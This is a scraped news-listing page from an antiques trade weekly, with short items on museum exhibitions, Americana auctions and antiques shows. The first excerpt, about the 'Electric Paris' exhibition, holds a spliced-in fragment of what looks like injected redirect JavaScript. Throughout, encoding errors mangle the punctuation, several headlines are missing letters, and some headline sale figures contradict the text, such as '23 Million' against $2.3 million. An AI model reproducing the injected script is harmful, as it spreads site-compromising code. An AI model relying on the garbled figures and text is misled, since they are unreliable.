February 12, 2013 - Antiques And The Arts Weekly

  • Clark Art Institute Explores ?Electric Paris?
    February 12, 2013

      The vibrancy of life in Paris around 1900 is captured in the exhibition “Electric Paris,” on view at the Sterling andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() […]

  • Ringing In The New At Christie?s As Americana Week Sales Reach $15 Million
    February 12, 2013

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  • Hard Truths The Art Of Thornton Dial At High Museum Of Art
    February 12, 2013

    One of America⁳ most remarkable contemporary artists, Thornton Dial (b 1928) is a self-taught African American who has drawn inspiration from the rich aesthetic traditions of the black South, forging a major body of astonishingly original art. Incorporating salvaged objects into his work †from children⁳ toys to Barbie dolls, plastic grave flowers to carpet scraps, animal skeletons and pieces of metal †he creates large, symbolically charged assemblages conveying turbulent, animated thoughts about history and issues of our times. Born into poverty in rural Alabama, Dial has lived his entire life in the deep South. His art, informed by decades of struggle as a working-class black man, offers compelling commentary on America⁳ most pervasive social and political challenges. These issues are explored and documented in a splendid exhibition, ⁈ard Truths: The Art of Thornton Dial,†comprising 59 large-scale paintings, drawings and found-object sculptures. Organized by the Indianapolis Museum of Art, it is on view at the High Museum of Art, Atlanta, Ga., through March 3.

  • he Work Of PlayTo Open At Museum Of Early Trades & Crafts
    February 12, 2013

    On February 26, the Museum of Early Trades & Crafts will open the new exhibit ⁔he Work of Play.†On view until September, the exhibit seeks to examine the relationship between trades and leisure time.

  • Tolland Antiques Show A Treasure Trove Of Americana
    February 12, 2013

    While New York City may host Americana Week in late January, the Tolland Antiques Show, running simultaneously, on January 27, also proved itself a stellar showcase of Americana from country primitives and homey textiles evocative of Little House on the Prairie, to punched-tin chests and dry sinks in original paint.

  • Connecticut Furniture Leads At Sotheby 10 Million Americana Sale
    February 12, 2013

    For the first time in recent memory, Sotheby⁳ limited its important Americana auctions to Friday and Saturday, January 25 and 26, giving buyers a welcome chance to return to the shows or catch up with friends and colleagues on Sunday.

  • Round Top Winter Show Sets New Record For Attendance
    February 12, 2013

    Crowds filled the Big Red Barn in this tiny village half way between Houston and Austin for the Friday and Saturday show, January 18‱9. With more than 120 exhibitors the event center was filled to its winter capacity with antiques from Texas, New England, Europe and more. There were also collections of art, folk art and even many of the later trends in home décor and style.

  • New Owner, New Venue Breathe New Life Into Outsider Art Fair
    February 12, 2013

    The old saying, ⁉f it ain⁴ broke, don⁴ fix it,†seems apt of the Outsider Art Fair. The long-running fair is a wonderful niche show and has a loyal following. It wasn⁴ broken but even a good show can stand a little tweaking. Under new management this year from Wide Open Arts led by gallerist and veteran fair participant Andrew Edlin, who bought the fair last year from its founding producer, Sanford L. Smith & Associates, the fair moved from midtown to an airy and light-filled building in Chelsea.

  • MESDA March Furniture Seminar To Survey umptuous Sideboard
    February 12, 2013

    The Museum of Early Southern Decorative Arts (MESDA) at Old Salem Museums & Gardens will present its annual furniture seminar March 8‹. This year⁳ seminar is ⁔he Sumptuous, Serviceable Sideboard: Evolution in Design, Regional Style and Construction. 

  • Keno Auctions Brings In 23 Million On January 22
    February 12, 2013

    ⁔he sale was a solid success, we did just over $2.3 million and it was 86 percent sold,†Leigh Keno, president and owner of Keno Auctions, said the day after his January 22 sale during Americana Week.



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